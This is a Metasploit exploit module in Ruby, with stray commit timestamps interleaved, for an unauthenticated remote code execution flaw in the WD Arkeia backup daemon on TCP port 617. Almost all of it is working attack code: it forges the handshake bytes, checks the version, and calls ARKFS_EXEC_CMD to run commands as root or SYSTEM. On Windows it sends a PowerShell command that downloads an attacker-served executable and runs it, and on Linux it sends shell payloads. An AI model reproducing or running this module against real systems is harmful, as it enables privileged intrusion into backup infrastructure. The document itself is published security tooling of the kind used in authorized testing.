2015-07-10 02:51:28 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf :: Exploit :: Remote
Rank = ExcellentRanking
include Msf :: Exploit :: Remote :: Tcp
include Msf :: Exploit :: Remote :: HttpServer
include Msf :: Exploit :: EXE
include Msf :: Exploit :: FileDropper
def initialize ( info = { } )
super ( update_info ( info ,
'Name' = > 'WD Arkeia Remote Code Execution' ,
'Description' = > %q{
This module exploits a code execution flaw in Western Digital Arkeia version 11 . 0 . 12 and below .
The vulnerability exists in the 'arkeiad' daemon listening on TCP port 617 . Because there are
insufficient checks on the authentication of all clients , this can be bypassed .
Using the ARKFS_EXEC_CMD operation it ' s possible to execute arbitrary commands with root or
SYSTEM privileges .
The daemon is installed on both the Arkeia server as well on all the backup clients . The module
2015-07-10 15:33:02 +00:00
has been successfully tested on Windows , Linux , OSX , FreeBSD and OpenBSD .
2015-07-10 02:51:28 +00:00
} ,
'Author' = >
[
2015-07-10 15:33:02 +00:00
'xistence <xistence[at]0x90.nl>' # Vulnerability discovery and Metasploit module
2015-07-10 02:51:28 +00:00
] ,
'License' = > MSF_LICENSE ,
'References' = >
[
] ,
'Privileged' = > true ,
'Payload' = >
{
'DisableNops' = > true
} ,
'Targets' = >
[
[ 'Windows' ,
{
'Arch' = > ARCH_X86 ,
'Platform' = > 'win' ,
}
] ,
[ 'Linux' ,
{
'Arch' = > ARCH_CMD ,
'Platform' = > 'unix' ,
'Payload' = >
{
'Space' = > 255 ,
'Compat' = > {
2015-07-10 15:33:02 +00:00
'PayloadType' = > 'cmd cmd_bash' ,
2015-07-10 02:51:28 +00:00
'RequiredCmd' = > 'perl python bash-tcp gawk openssl'
}
}
}
]
] ,
'DefaultTarget' = > 0 ,
'DisclosureDate' = > 'Jul 10 2015' ) )
register_options (
[
Opt :: RPORT ( 617 ) ,
OptInt . new ( 'HTTP_DELAY' , [ true , 'Time that the HTTP Server will wait for the payload request' , 10 ] )
] , self . class )
end
def check
connect
req = " \x00 \x41 "
req << " \x00 " * 5
req << " \x73 "
req << " \x00 " * 12
req << " \xc0 \xa8 \x02 \x74 "
req << " \x00 " * 56
req << " \x74 \x02 \xa8 \xc0 "
req << " ARKADMIN "
req << " \x00 "
req << " root "
req << " \x00 "
req << " root "
req << " \x00 " * 3
req << " 4.3.0-1 " # version?
req << " \x00 " * 11
sock . put ( req )
res = sock . recv ( 1024 )
unless res and res [ 0 , 4 ] == " \x00 \x60 \x00 \x04 "
disconnect
fail_with ( Failure :: Unknown , " #{ rhost } : #{ rport } - Failure during agent communication # 1 " )
end
req = " \x00 \x73 "
req << " \x00 " * 5
req << " \x0c \x32 "
req << " \x00 " * 11
sock . put ( req )
res = sock . recv ( 1024 )
unless res and res [ 0 , 4 ] == " \x00 \x60 \x00 \x04 "
disconnect
fail_with ( Failure :: Unknown , " #{ rhost } : #{ rport } - Failure during agent communication # 2 " )
end
req = " \x00 \x61 \x00 \x04 \x00 \x01 \x00 \x11 \x00 \x00 \x31 \x00 "
req << " EN " # Language
req << " \x00 " * 11
sock . put ( req )
res = sock . recv ( 1024 )
unless res and res == " \x00 \x43 \x00 \x00 \x00 \x01 \x00 \x00 "
disconnect
fail_with ( Failure :: Unknown , " #{ rhost } : #{ rport } - Failure during agent communication # 3 " )
end
# ARKADMIN_GET_CLIENT_INFO
req = " \x00 \x62 \x00 \x01 "
req << " \x00 " * 3
req << " \x26 "
req << " ARKADMIN_GET_CLIENT_INFO " # Function to request agent information
req << " \x00 \x32 \x38 "
req << " \x00 " * 11
sock . put ( req )
res = sock . recv ( 1024 )
unless res and res == " \x00 \x43 \x00 \x00 \x00 \x02 \x00 \x00 "
disconnect
fail_with ( Failure :: Unknown , " #{ rhost } : #{ rport } - Failure during agent communication # 3 " )
end
req = " \x00 \x63 \x00 \x04 \x00 \x00 \x00 \x12 \x30 \x00 \x31 \x00 \x32 \x38 "
req << " \x00 " * 12
sock . put ( req )
# Have to retrieve data twice
sock . recv ( 1024 )
res = sock . recv ( 1024 )
if res and res =~ / VERSION.*WD Arkeia ([0-9]+ \ .[0-9]+ \ .[0-9]+) /
version = $1
print_status ( " #{ rhost } : #{ rport } - Arkeia version detected: #{ version } " )
if version < = " 11.0.12 "
return Exploit :: CheckCode :: Vulnerable
end
else
print_status ( " #{ rhost } : #{ rport } - Arkeia version not detected " )
end
return Exploit :: CheckCode :: Safe
end
def exploit
if target . name =~ / Windows /
@downfile = rand_text_alpha ( 8 + rand ( 8 ) )
@pl = generate_payload_exe
srv_host = Rex :: Socket . source_address ( rhost )
service_url = 'http://' + srv_host + ':' + datastore [ 'SRVPORT' ] . to_s + '/' + @downfile
print_status ( " #{ rhost } : #{ rport } - Starting up our web service on #{ service_url } ... " )
start_service ( { 'Uri' = > {
'Proc' = > Proc . new { | cli , req |
on_request_uri ( cli , req )
} ,
'Path' = > '/' + @downfile
} } )
# PowerShell web download. The char replacement is needed because using the "/" character twice (like http://) directly is not possible on Windows agents.
command = " PowerShell -Command \" $s=[CHAR][BYTE]47;$b= \\ \" http:$($s)$($s) #{ srv_host } : #{ datastore [ 'SRVPORT' ] } $($s) #{ @downfile } \\ \" ; "
command << " (New-Object System.Net.WebClient).DownloadFile($b,'c:/ #{ @downfile } .exe'); "
command << " (New-Object -com Shell.Application).ShellExecute('c:/ #{ @downfile } .exe'); \" "
communicate ( command )
elsif target . name =~ / Linux /
communicate ( payload . encoded )
return
end
end
def communicate ( command )
print_status ( " #{ rhost } : #{ rport } - Connecting to Arkeia daemon " )
connect
print_status ( " #{ rhost } : #{ rport } - Sending agent communication " )
req = " \x00 \x41 \x00 \x00 \x00 \x00 \x00 \x70 "
req << " \x00 " * 12
req << " \xc0 \xa8 \x02 \x8a "
req << " \x00 " * 56
req << " \x8a \x02 \xa8 \xc0 "
req << " ARKFS "
req << " \x00 "
req << " root "
req << " \x00 "
req << " root "
req << " \x00 " * 3
req << " 4.3.0-1 " # Client version ?
req << " \x00 " * 11
sock . put ( req )
res = sock . recv ( 1024 )
unless res and res [ 0 , 4 ] == " \x00 \x60 \x00 \x04 "
disconnect
fail_with ( Failure :: Unknown , " #{ rhost } : #{ rport } - Failure during agent communication # 1 " )
end
req = " \x00 \x73 \x00 \x00 \x00 \x00 \x00 \x0c \x32 "
req << " \x00 " * 11
sock . put ( req )
res = sock . recv ( 1024 )
unless res and res [ 0 , 4 ] == " \x00 \x60 \x00 \x04 "
disconnect
fail_with ( Failure :: Unknown , " #{ rhost } : #{ rport } - Failure during agent communication # 2 " )
end
req = " \x00 \x61 \x00 \x04 \x00 \x01 \x00 \x1a \x00 \x00 "
req << rand_text_numeric ( 10 ) # "1234567890" - 10 byte numerical value, like a session ID?
req << " \x00 "
req << " EN " # English language?
req << " \x00 " * 11
sock . put ( req )
res = sock . recv ( 1024 )
unless res and res == " \x00 \x43 \x00 \x00 \x00 \x01 \x00 \x00 "
disconnect
fail_with ( Failure :: Unknown , " #{ rhost } : #{ rport } - Failure during agent communication # 3 " )
end
req = " \x00 \x62 \x00 \x01 \x00 \x02 \x00 \x1b "
req << " ARKFS_EXEC_CMD " # With this function we can execute system commands with root/SYSTEM privileges
req << " \x00 \x31 "
req << " \x00 " * 11
sock . put ( req )
res = sock . recv ( 1024 )
unless res and res == " \x00 \x43 \x00 \x00 \x00 \x02 \x00 \x00 "
disconnect
fail_with ( Failure :: Unknown , " #{ rhost } : #{ rport } - Failure during agent communication # 4 " )
end
commandlength = " %02x " % command . length
commandlength = commandlength . scan ( / .. / ) . map { | x | x . hex . chr } . join
req = " \x00 \x63 \x00 \x04 \x00 \x03 \x00 \x15 \x31 \x00 \x31 \x00 \x31 \x00 \x30 \x3a \x31 \x2c "
req << " \x00 " * 12
req << " \x64 \x00 \x04 \x00 \x04 \x00 "
req << commandlength # Maximum length can be 255 bytes (0xFF)
req << command # Our command to be executed
req << " \x00 "
print_status ( " #{ rhost } : #{ rport } - Executing payload through ARKFS_EXEC_CMD " )
sock . put ( req )
res = sock . recv ( 1024 )
unless res and res [ 0 , 4 ] == " \x00 \x63 \x00 \x04 "
disconnect
fail_with ( Failure :: Unknown , " #{ rhost } : #{ rport } - Failure executing payload " )
end
# Wait for our payload to be sent, else HTTP server might shutdown too quick
select ( nil , nil , nil , datastore [ 'HTTP_DELAY' ] )
end
def on_request_uri ( cli , request )
if ( not @pl )
print_error ( " #{ rhost } : #{ rport } - A request came in, but the payload wasn't ready yet! " )
return
end
print_status ( " #{ rhost } : #{ rport } - Sending the payload to the server... " )
register_files_for_cleanup ( " c: \\ #{ @downfile } .exe " )
send_response ( cli , @pl )
end
end